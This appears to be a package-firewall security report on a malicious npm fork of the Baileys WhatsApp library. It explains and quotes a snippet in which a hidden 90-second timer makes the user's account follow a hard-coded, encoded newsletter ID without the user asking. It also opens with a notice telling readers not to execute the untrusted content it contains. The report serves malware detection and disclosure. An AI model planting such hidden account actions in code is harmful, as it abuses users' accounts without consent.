---
canonical: "https://firewall.lpm.dev/npm/@aboutdisz/baileys"
markdown: "https://firewall.lpm.dev/npm/@aboutdisz/baileys/v/1.0.12.md"
package: "@aboutdisz/baileys"
report_status: "published"
title: "@aboutdisz/baileys@1.0.12 npm security report"
verdict: "malicious"
version: "1.0.12"
---

# @aboutdisz/baileys@1.0.12 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — The user's account follows a newsletter they did not choose.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Block by default
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 1.0.12
- **Selected version is latest:** No
- **Analysis source:** AI security review (lpm-firewall-ai)

LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The package automatically uses the user's WhatsApp account to follow a publisher-selected newsletter after socket creation. This is an unrequested account action and warrants blocking.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 98.0%
- **Started:** 2026-11-10T03:07:21.902Z
- **Finished:** 2026-11-10T03:08:12.346Z
- **Download time:** 1021 ms
- **Static scan time:** 2149 ms
- **AI review time:** 47273 ms
- **Total time:** 50444 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Automatically follows a publisher-selected WhatsApp newsletter.

- **Trigger:** A client creates the message socket; the action runs after a 90-second timer.

- **Impact:** The user's account follows a newsletter they did not choose.

- **Evidence paths:** lib/Socket/messages-send.js, lib/Socket/newsletter.js

- **Review source:** ai\_review

- **Reviewed:** 2026-11-10T03:08:12.346Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** The newsletter socket sends a FOLLOW query for a hard-coded newsletter ID through the authenticated WhatsApp connection.

- **Attack narrative:** Creating a message socket constructs the newsletter socket, which schedules a follow request 90 seconds later. The request follows a hard-coded newsletter using the user's active WhatsApp connection, without an explicit user request.

- **Rationale:** The package automatically uses the user's WhatsApp account to follow a publisher-selected newsletter after socket creation. This is an unrequested account action and warrants blocking.

- **Network endpoints:** WhatsApp servers (protocol query)

### Review decision

- **Verdict:** Malicious

- **Confidence:** 98.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** Creating the message socket creates a newsletter socket., The newsletter socket schedules a FOLLOW action for a hard-coded newsletter after 90 seconds., The follow action runs without a user request and uses the authenticated WhatsApp connection.

- **Evidence against:** The package is a WhatsApp client library with ordinary message and newsletter features., The flagged media utilities use child-process execution for ffmpeg thumbnail extraction, consistent with media processing.

## Affected versions and remediation

This report applies to @aboutdisz/baileys@1.0.12.

- Avoid installing @aboutdisz/baileys@1.0.12. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 2. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 3. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 4. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 5. Medium: Ships Build Helper
- **Category:** Artifact Inventory
- **Confidence:** 70.0%
- **Path:** WAProto/GenerateStatics.sh
- **Public source:** [View source](<https://unpkg.com/@aboutdisz/baileys@1.0.12/WAProto/GenerateStatics.sh>)

Package ships non-JavaScript build or shell helper files.

Public source snippet (untrusted):

```shell
path = WAProto/GenerateStatics.sh
kind = build_helper
sizeBytes = 301
magicHex = [redacted]
```

### 6. Medium: Oversized Source File
- **Category:** Artifact Inventory
- **Confidence:** 70.0%
- **Path:** WAProto/index.js
- **Public source:** [View source](<https://unpkg.com/@aboutdisz/baileys@1.0.12/WAProto/index.js>)

Package contains source files above the normal full-analysis size ceiling.

Public source snippet (untrusted):

```javascript
path = WAProto/index.js
kind = oversized_source_file
sizeBytes = 8472622
magicHex = [redacted]
```

### 7. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 8. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** lib/Utils/messages-media.js
- **Public source:** [View source](<https://unpkg.com/@aboutdisz/baileys@1.0.12/lib/Utils/messages-media.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = nyttt-baileys@1.0.1
matchedPath = lib/Utils/messages-media.js
matchedIdentity = npm:bnl0dHQtYmFpbGV5cw:1.0.1
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 9. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** lib/Utils/messages.js
- **Public source:** [View source](<https://unpkg.com/@aboutdisz/baileys@1.0.12/lib/Utils/messages.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = @yun-xiao/baileys@2.0.0
matchedPath = lib/Utils/messages.js
matchedIdentity = npm:QHl1bi14aWFvL2JhaWxleXM:2.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** lib/Socket/messages-send.js
- **Public source:** [View source](<https://unpkg.com/@aboutdisz/baileys@1.0.12/lib/Socket/messages-send.js>)

Creating the message socket creates a newsletter socket.

Public source snippet (untrusted):

```javascript
const makeMessagesSocket = (config) => {
    const {
        logger,
        linkPreviewImageThumbnailWidth, 
        generateHighQualityLinkPreview,
        options: axiosOptions,
        patchMessageBeforeSending
    } = config;
    const sock = (0, newsletter_1.makeNewsletterSocket)(con
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** lib/Socket/newsletter.js
- **Public source:** [View source](<https://unpkg.com/@aboutdisz/baileys@1.0.12/lib/Socket/newsletter.js>)

The newsletter socket schedules a FOLLOW action for a hard-coded newsletter after 90 seconds.

Public source snippet (untrusted):

```javascript
setTimeout(async () => {
    try {
        await newsletterWMexQuery(
            Buffer.from("[redacted]=", "base64").toString(),
            Types_1.QueryIds.FOLLOW
        );
    } catch {}
}, 90000);
	
    const parseFetchedUpdates = asy
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 26
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 26

### Published dependency entries
- @adiwajshing/keyed-db ^0.2.4 (Dependency)
- @cacheable/node-cache ^3.1.1 (Dependency)
- @hapi/boom ^9.1.4 (Dependency)
- async-mutex ^0.5.0 (Dependency)
- audio-decode ^2.1.3 (Dependency)
- axios ^1.6.8 (Dependency)
- cache-manager ^5.7.6 (Dependency)
- crypto-js ^4.2.0 (Dependency)
- eventemitter3 ^5.0.4 (Dependency)
- fflate ^0.8.2 (Dependency)
- file-type ^16.5.4 (Dependency)
- futoin-hkdf ^1.5.3 (Dependency)
- jimp ^0.22.12 (Dependency)
- libsignal ^2.0.1 (Dependency)
- link-preview-js ^3.2.0 (Dependency)
- lodash ^4.18.1 (Dependency)
- long ^5.3.2 (Dependency)
- music-metadata ^7.14.0 (Dependency)
- node-cache ^5.1.2 (Dependency)
- node-fetch ^2.7.0 (Dependency)
- pino ^9.6.0 (Dependency)
- protobufjs ^7.6.6 (Dependency)
- qrcode-terminal ^0.12.0 (Dependency)
- sharp ^0.32.6 (Dependency)
- uuid ^14.0.3 (Dependency)
- ws ^8.22.0 (Dependency)

## Package metadata
- **Package:** @aboutdisz/baileys
- **Ecosystem:** npm
- **Version:** 1.0.12
- **License:** MIT
- **Version published:** 2026-10-10T21:07:27.689Z
- **Package first seen:** 2026-11-10T03:08:01.763Z
- **Package last seen:** 2026-11-10T03:15:22.702Z
- **Known versions:** 12
- **Latest version:** 1.0.13
- **Appeal under review:** No
- **Description:** Fork Baileys by aboutdisz
- **Author:** aboutdisz
- **Artifact files:** 199
- **Artifact unpacked size:** 11,552,957 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@aboutdisz/baileys/v/1.0.12>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-18803>)
- [PACKAGE](<https://www.npmjs.com/package/@aboutdisz/baileys>)
- [WEB](<https://www.ox.security/blog/phantomsub-malicious-npm-campaign-secretly-adds-users-to-whatsapp-spam-channels/>)
